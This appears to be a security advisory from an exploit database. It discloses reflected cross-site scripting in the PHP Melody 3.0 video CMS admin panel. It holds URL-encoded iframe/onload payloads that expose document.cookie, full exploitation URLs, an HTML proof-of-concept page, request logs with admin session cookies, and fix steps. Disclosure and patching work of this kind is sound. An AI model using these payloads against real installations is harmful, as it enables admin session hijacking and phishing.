Share
## https://sploitus.com/exploit?id=1337DAY-ID-36990
# Exploit Title: PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS)
# Vendor Homepage: https://www.phpsugar.com/phpmelody.html
# Version: v3


Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.

(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the PHP Melody v3.0 video cms web-application.


Affected Product(s):
====================
PHPSUGAR
Product: PHP Melody v3.0 - Video CMS (Web-Application)


Technical Details & Description:
================================
Multiple non-persistent cross site web vulnerabilities has been discovered in the official PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests by the client-side.

The cross site scripting vulnerabilities are located in the `moved`, `username` and `keyword` parameters of the `categories.php`, `import.php`
or `import-user.php` files. The injection point is located in the get method request and the execution occurs with non-persistent attack vector
in the status message or exception of the admin panel ui.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] categories.php
[+] import-user.php
[+] import.php

Vulnerable Parameter(s):
[+] move
[+] username
[+] keyword

Affected Module(s):
[+] Status Message & Exception


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Payload
%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E


PoC: Exploitation
https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E
-
https://phpmelody.localhost.com:8080/admin/import-user.php?action=search&username=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E
&results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1
-
https://phpmelody.localhost.com:8080/admin/import.php?action=search&keyword=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&results=50&page=1&autofilling=0&autodata=1&oc=1&utc=7&search_category=Comedy&search_orderby=relevance&data_source=youtube&sub_id=4


PoC: Exploit
<html>
<head><body>
<title>PHP Melody v3.0 - XSS PoC Exploit</title>
#1
<iframe src="https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E" width="200" height="200"> </iframe>
#2
<iframe src="https://phpmelody.localhost.com:8080/admin/import-user.php?action=search&username=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E" width="200" height="200">
&results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1 </iframe>
#3
<iframe src="https://phpmelody.localhost.com:8080/admin/import.php?action=search&keyword=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E" width="200" height="200">&results=50&page=1&autofilling=0&autodata=1&oc=1&utc=7&search_category=Comedy&search_orderby=relevance&data_source=youtube&sub_id=4 </iframe>
</body></head>
</html>


--- PoC Session Logs (GET) (move) ---
https://phpmelody.localhost.com:8080/admin/categories.php?type=genre&id=1&moved="><iframe src=evil.source onload=alert(document.cookie)>
Host: phpmelody.localhost.com:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: PHPSESSID=acf50832ffd23b7d11815fa2b8f2e17u;
melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88;
cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNywy;
pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.4.34


--- PoC Session Logs (GET) (username) ---
https://phpmelody.localhost:8080/admin/import-user.php?action=search&username="><iframe src=evil.source onload=alert(document.cookie)>&results=50&autofilling=0&autodata=1&oc=1&utc=19&data_source=youtube&sub_id=24&page=1
Host: phpmelody.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: PHPSESSID=acf50832ffd23b7d11815fa2b8f2e17u;
melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88;
cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNywy;
pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.4.34


Vulnerable Source: Categories.php (type=genre&id=1&moved)
<div class="alert alert-success alert-styled-left"><button type="button" class="close" data-dismiss="alert"
aria-label="Close"><span aria-hidden="true">ร—</span></button>
Category<strong>Film & animation</strong> moved "><iframe src="evil.source" onload="alert(document.cookie)"> a level.</div>
<div id="display_result" style="display:none;"></div>


Vulnerable Source: Import Videos from User (action=search&username)
<div class="card">
<div class="card-body">
<h5 class="mb-3">Username</h5>
<div class="d-block">
<form name="import-user-search-form" id="import-user-search-form" action="" method="post" class="">					
<div class="input-group mb-3">
<div class="form-group-feedback form-group-feedback-left">
<input name="username" type="text" class="form-control form-control-lg alpha-grey gautocomplete" value=""><iframe src="evil.source" onload="alert(document.cookie)">"
placeholder="Enter username or Channel ID" autocomplete="yt-username" />
<div class="form-control-feedback form-control-feedback-lg">
<i class="icon-search4 text-muted"></i>
</div></div>
<div class="input-group-append">
<select name="data_source" class="form-field alpha-grey custom-select custom-select-lg">
<option value="youtube" selected="selected">Youtube User</option>
<option value="youtube-channel" >Youtube Channel</option>
<option value="dailymotion" >Dailymotion User</option>
<option value="vimeo" >Vimeo User</option>
</select></div>
<div class="input-group-append">
<button type="submit" name="submit" class="btn btn-primary btn-lg" id="search-user-btn">Search</button>
</div></div>


Reference(s):
https://phpmelody.localhost.com:8080/admin/
https://phpmelody.localhost.com:8080/admin/import.php
https://phpmelody.localhost.com:8080/admin/categories.php
https://phpmelody.localhost.com:8080/admin/import-user.php


Solution - Fix & Patch:
=======================
The vulnerabilities can be resolved by the following steps ...
1. Encode, escape or filter the vulnerable move, keyword and username parameters in the get method requests
2. Restrict all the transmitted parameters by disallowing the usage of special chars
3. Sanitize the status message and error message output to prevent the execution points
4. Alternativ setup security headers and a web firewall or filter to prevent further exploitation